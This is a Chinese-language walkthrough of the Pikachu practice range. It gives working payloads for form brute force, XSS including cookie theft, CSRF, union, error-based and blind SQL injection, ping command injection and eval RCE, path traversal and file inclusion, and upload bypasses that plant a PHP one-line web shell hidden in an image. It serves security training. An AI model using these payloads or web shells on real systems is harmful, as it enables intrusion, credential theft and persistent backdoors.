pikachu靶场实战,前八项

📅 2026/7/16 3:50:05
pikachu靶场实战,前八项
文章目录暴力破解基于表单的暴力破解验证码绕过(on server)验证码绕过(on client)token防爆破?xss跨站请求攻击反射型xss(get)反射性xss(post)存储型xssDOM型xssDOM型xss-xxss盲打xss之过滤xss之htmlspecialcharsxss之href输出xss之js输出CSRF跨站请求伪造CSRF(get) loginCSRF(post) loginCSRF TokenSql Inject(SQL注入)数字型注入字符型注入搜索型注入xx型注入insert/update注入delete注入http头注入基于boolian的盲注基于时间的盲注wide byte注入RCE(remote command/code execute)exec pingexec evalFile Inclusion(文件包含漏洞)本地文件包含远程文件包含不安全的文件下载不安全的文件下载不安全的文件上传漏洞客户端check服务端checkgetimagesize()暴力破解基于表单的暴力破解使用burp进行抓包发送到攻击器添加payload位置选择集束炸弹模式导入字典开始攻击攻击完成后可以在设置添加检索匹配验证码绕过(on server)使用burp抓包有些服务器后台是不刷新验证码的所以抓到包后不要放包这样验证码就一直有效。把包发到攻击模块。记得把验证码改正确才行。设置payload导入字典开始攻击得到三个用户名加密码验证码绕过(on client)查看页面源码前端生成验证的验证码只要在bp上把验证码字段删掉就可以直接·爆破bp抓包验证码输入错误的情况下是不能抓包的需先输入正确的验证码再抓包。把包发送到攻击模块删掉验证码参数添加payload位置导入字典开始爆破查看攻击结果token防爆破?依旧直接bp抓包直接发送到攻击模块可以看到这次携带了token参数所以攻击模式就要选择Pitchfork这次payload的位置就是设在密码和token上了用户名直接固定是admin在设置中找到提取点击添加记得那个要勾选上点击获取响应–搜索‘token’–双击token的值–点击确认设置里找到重定向改成总是点击资源池–新建资源池–最大并发数设置成1第二个payload类型选择递归提取填写好初始值建议密码字典第一个值设置成空因为第一个发送的包可能会得到token error的提示开始攻击xss跨站请求攻击反射型xss(get)输入kobe的效果尝试输入xss代码有长度限制f12查看页面源码更改长度限制输入xss代码执行成功反射性xss(post)先登录输入xss代码弹出cookiescriptalert(document.cookie)/script存储型xss输入的内容会被存储并显示出来所以输入的xss代码在每次打开这个界面时都会被执行输入xss代码并刷新测试成功弹出DOM型xss要改变页面的某个东西JavaScript就需要获得对HTML文档中所有元素进行访问的入口。这个入口连同对HTML元素进行添加、移动、改变或移除的方法和属性都是通过文档对象模型来获得的DOM )。所以你可以把DOM理解为一个访问HTML的标准编程接口。查看页面源码发现输入的内容会传递给a标签的href属性输入xss代码构造闭合除了上面两种代码还有很多比如#img src1onerroralert(1)DOM型xss-x输入的内容和上一个一样传递给a标签的href属性同样是构造闭合 onclickalert(1)xss盲打随便提交点东西登陆后台查看后台地址是xssblind/xss_blind.php直接提交xss代码因为正常来讲并不知道哪可以不被过滤之类的所以都上传一个吧scriptalert(message)/scriptscriptalert(name)/script登陆后台查看效果都弹出了xss之过滤随便输入内容尝试输入xss代码scriptalert(1)/script看到没有显示出来说明是被过滤掉了XSS过滤绕过思路大概有换标签、换大小写、换编码、对空格过滤的用特殊符号替代先试试大小写sCripTalert(1)/SCript直接成功了xss之htmlspecialcharshtmlspecialchars() 会把5 种 HTML 特殊字符转义为 HTML 实体编码浏览器拿到后只会当做纯文本显示不会解析成 HTML 标签与 JS从根源防御 XSS 注入htmlspecialchars默认不对’处理所以可以先尝试单引号闭合 onclickalert(1)点击’ οnclick‘alert(1)’xss之href输出随便输入这次也用了htmlspecialchars所以不能用双引号闭合只能用javascript伪协议输入javascript:alert(1)xss之js输出根据提示输入tmac尝试查看源码我们写的数据被写进变量ms里了所以需要拼凑js代码让他执行我们想要执行的语句经典语句scriptalert(1)/script在这段代码中我们写的东西已被包含在script标签里而我们要做的就是执行alert(1)。假设我们直接写alert(1)就会构造成$msalert(1);,那么我们要做的就是把给变量ms的赋值语句补充完整在让alert(1);独立出来执行所以应该用123;alert(1);CSRF跨站请求伪造CSRF是借用户的权限完成攻击攻击者并没有拿到用户的权限而XSS是直接盗取到了用户的权限然后实施破坏。CSRF(get) login登陆账号提交修改请求使用bp抓包这样可以得到修改信息用的url使用别的用户访问这个urlallen访问url后CSRF(post) loginpost方式的话一般构造恶意页面让受害者访问实现攻击。登陆后提交修改使用bp抓包生成poc复制html文件并写到自己的网站中这里我们写在原csrf目录的click.html里用其他用户访问这个页面访问前访问后点击按钮CSRF Token和之前一样bp抓包包含了token发送到重发器点击发送在响应内容中找到新的token814776a5616839ad43888247185使用新的token替换之前的token得到url/pikachu/vul/csrf/csrftoken/token_get_edit.php?sexheiheiphonenum123456add123emailvince%40pikachu.comtoken814776a5616839ad43888247185submitsubmitvince访问后抓的哪个账号用哪个账号访问Sql Inject(SQL注入)数字型注入验证数字型注入判断字段数3时报错2正常所以字段数是2用联合查询查询表名下面用bp做因为我发现post数据会有长度限制抓包后发送到重发器id-1unionselect1,group_concat(table_name)frominformation_schema.tableswheretable_schemadatabase()--查询users表的列名id-1unionselect1,group_concat(column_name)frominformation_schema.columnswheretable_schemadatabase()andtable_nameusers--查询用户名和密码id-1unionselectgroup_concat(username),group_concat(password)fromusers--密码使用的md5加密解密一下就行了字符型注入随意输入查询判断注入类型没报错不是数字型根据报错是字符型单引号闭合字段数都是一样的就不判断了查询表名name-1unionselect1,group_concat(table_name)frominformation_schema.tableswheretable_schemadatabase()--查询列名?name-1 union select 1,group_concat(column_name) from information_schema.columns where table_schemadatabase() and table_nameusers--查询用户名和密码?name-1unionselectgroup_concat(username),group_concat(password)fromusers--密码用MD5解密就行搜索型注入搜索尝试这是一个模糊匹配后端的查询语句应该是selectusername,id,emailfrommemberwhereusernamelike%$name%所以构造闭合就是xx% --测试闭合后面还是和之前一样只不过字段数变成3了一样用了MD5加密xx型注入判断闭合先用单引号看报不报错根据报错内容判断是单引号加括号闭合尝试。后面还是一样了字段数是2获取数据insert/update注入在注册时会使用insert使用bp抓包修改参数构造闭合源代码语句insertintomember(username,pw,sex,phonenum,email,address)values({$getdata[username]},md5({$getdata[password]}),{$getdata[sex]},{$getdata[phonenum]},{$getdata[email]},{$getdata[add]})构造闭合报错注入usernamejudypassword123 and updatexml(1,concat(0x7e,(database()),0x7e),3) and sexphonenumemailaddsubmitsubmit也可以用盲注usernamejudypassword123 and if(length(database())7,sleep(2),1) and sexphonenumemailaddsubmitsubmit因为没有回显所以直接查询是不能用了报错注入获取表名usernamejudypassword123 and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schemadatabase()),0x7e),3) and sexphonenumemailaddsubmitsubmit因为报错的数据有字数限制所以可以用substr进行截取输出123 and updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schemadatabase()),1,30),0x7e),3) and 获取列名123 and updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_schemadatabase() and table_nameusers),1,30),0x7e),3) and 获取密码123 and updatexml(1,concat(0x7e,substr((select group_concat(username,:,password) from users),1,30),0x7e),3) and delete注入在留言版可以输入留言内容, 然后点击删除按钮可以刚刚留言的内容删掉使用burpsuite抓取点击删除的数据包源代码deletefrommessagewhereid{$_GET[id]}报错注入57orupdatexml(1,concat(0x7e,(selectdatabase()),0x7e),3)后续和上面一样了http头注入账号登陆刷新页面用bp抓包测试注入点源代码inserthttpinfo(userid,ipaddress,useragent,httpaccept,remoteport)values($is_login_id,$remoteipadd,$useragent,$httpaccept,$remoteport)修改User-AgentUser-Agent:1 and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schemadatabase()),0x7e),3) and 后续还是同样操作基于boolian的盲注输入测试测试闭合由于看不到报错信息直会显示‘您输入的username不存在请重新输入’所以使用sleep可以看到页面会加载两秒所以就是单引号闭合接下来判断database数据库的长度可以使用布尔盲注也可以用刚才的时间盲注可以用二分法去猜测正常能看到用户数据就证明猜对了使用bp抓包进行爆破发送到攻击模块进行配置?namelili%27%20and%20substr((selecttable_namefrominformation_schema.tableswheretable_schema%3ddatabase()limit0,1),1,1)%3da%20--%205. 开始攻击对于攻击结果可以添加一个匹配项这样就得到了第一个表的表名接着重复修改limit后的数值获得剩余表的表名获取表users的列名?namelili%27%20and%20substr((selectcolumn_namefrominformation_schema.columnswheretable_schema%3ddatabase()andtable_name%3duserslimit1,1),1,1)%3da%20--%20获取数据?namelili%27%20and%20substr((selectconcat(username,%3b,password)fromuserslimit0,1),1,1)%3da%20--%20基于时间的盲注和上面几个都大差不差不管输入什么内容都是同样的提示所以这次用的是时间盲注判断闭合单引号闭合使用bp抓包发送到攻击器进行配置?name1%27%20or%20if(substr((select%20table_name%20from%20information_schema.tables%20where%20table_schemadatabase()%20limit%200,1),1,1)%27h%27,sleep(0.5),1)%20--%20后续都和之前的一样就不弄了还可以直接用sqlmap跑wide byte注入宽字节注入利用Unicode编码中的特性将特殊字符转换为双字节字符绕过输入过滤和检查从而执行恶意的SQL查询简单来说它的核心是 “吃掉反斜杠” 。应用程序试图用反斜杠 \ 来转义单引号 但攻击者通过构造特殊字符让数据库将 \ 和前面的字符误认为是一个“汉字”宽字节从而导致 \ 失效单引号成功“逃逸”并闭合SQL语句使用bp抓包构造语句name123%dfunionselect1,2--%df 和转义符 %5c 会被合并解析成一个合法的汉字‘運’。于是%df%5c%27 变成了“汉字’”反斜杠被“吃掉”单引号成功逃逸后续操作就和之前的联合查询一样了RCE(remote command/code execute)exec “ping”ping一个127.0.0.1试试。如果返回的数据是乱码因为执行系统命令时返回的结果的中文字符串是GBK编码而浏览器解析网页的时候用的是UTF-8编码因此可以修改靶场源码将命令执行的结果从GBK编码转为UTF-8编码转换之后浏览器里就可以正常显示了把下面行代码添加到页面源码的第66行$resulticonv(GBK,UTF-8,$result);常用Payload按优先级排序|管道符无论前一条命令是否成功都会执行后面的命令。例如 127.0.0.1 | whoami||逻辑或只有前一条执行失败才执行后面但 ping 不存在的IP会失败所以也能用。例如1.1.1.1 || whoami;分号按顺序依次执行。例如127.0.0.1; whoamiLinux环境提交payload127.0.0.1|ipconfigexec “eval”后端使用了eval($_POST[txt]);函数直接把输入的内容当做PHP代码来执行。动态执行代码eval() 函数使程序能够在运行时动态执行字符串中的代码。它可以将字符串中的代码作为有效的程序代码进行解析和执行。字符串转换为代码eval() 函数将接收到的字符串参数解析为编程语言的有效代码并尝试执行该代码。这意味着您可以在字符串中包含变量、表达式、函数调用等并且它们将在执行时被解释和计算。输入php代码phpinfo();成功执行后续就可以执行任何php代码File Inclusion(文件包含漏洞)本地文件包含随便提交发现可以通过改变filename的名称去访问其他文件尝试查看系统文件?filename../../../../Windows/win.ini远程文件包含将php.ini文件里的allow_url_include改成On远程文件包含的前提是需要满足如下条件把825行的off改成On然后重启服务可以看到url中出现了include尝试修改?filenameinclude/../../../../Windows/win.ini这一关我们可以访问远程服务器上的文件,所以可以在自己服务器上写一个木马文件在这里远程包含我们的木马文件?filenamedata://text/plain,?php phpinfo();?不安全的文件下载不安全的文件下载右键打开链接修改文件名就可以下载对应的文件不安全的文件上传漏洞客户端check上传一张图片制作一句话木马?phpeval($_POST[shell]);?直接上传会提示不合法所以先把文件后缀改成.png上传文件点击上传使用bp抓包改后缀上传使用蚁剑进行连接测试当然因为是客户端检测所以可以直接禁用JavaScript这样就能直接上传php文件服务端check尝试和上次同样的方式但是上传的文件还是.png文件这次发现网页可以直接上传php文件使用bp抓包修改文件类型然后发送上传成功蚁剑连接测试连接成功getimagesize()直接上传png格式的一句话木马尝试getimagesize() 函数只认文件的“身份证”前几字节的签名不看文件的“身体”全部内容。只要文件开头是图片的固定格式标识符即使后面跟的是恶意PHP代码getimagesize() 也会认为这是一张合法图片从而验证通过。合法 JPG 文件头FF D8 FF合法 PNG 文件头89 50 4E 47合法 GIF 文件头47 49 46 38可以在一句话木马的前面添加一个文件头也可以使用CMD/Bash命令将PHP代码拼接到真实图片的末尾制作图片马上传文件的大小不能超过512000byte(500kb)copy1.png /b php.php /a backdoor.png以二进制方式读取 1.png拿到完整的图片数据。以文本方式读取 php.php拿到PHP代码字符串。将两者拼接先放图片紧接着放PHP代码输出成一个新的 backdoor.png。上传做好的图片马使用bp抓包修改后缀名也会被重置成png后缀使用蚁剑进行连接是连接不上的因为是png文件所以要配合之前的文件包含漏洞强制解析为php文件使用蚁剑连接测试url填文件包含的urlhttp://192.168.157.140:8888/pikachu/vul/fileinclude/fi_local.php?filename../../unsafeupload/uploads/2026/07/15/5788846a579318ce227330148682.pngsubmit%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2连接成功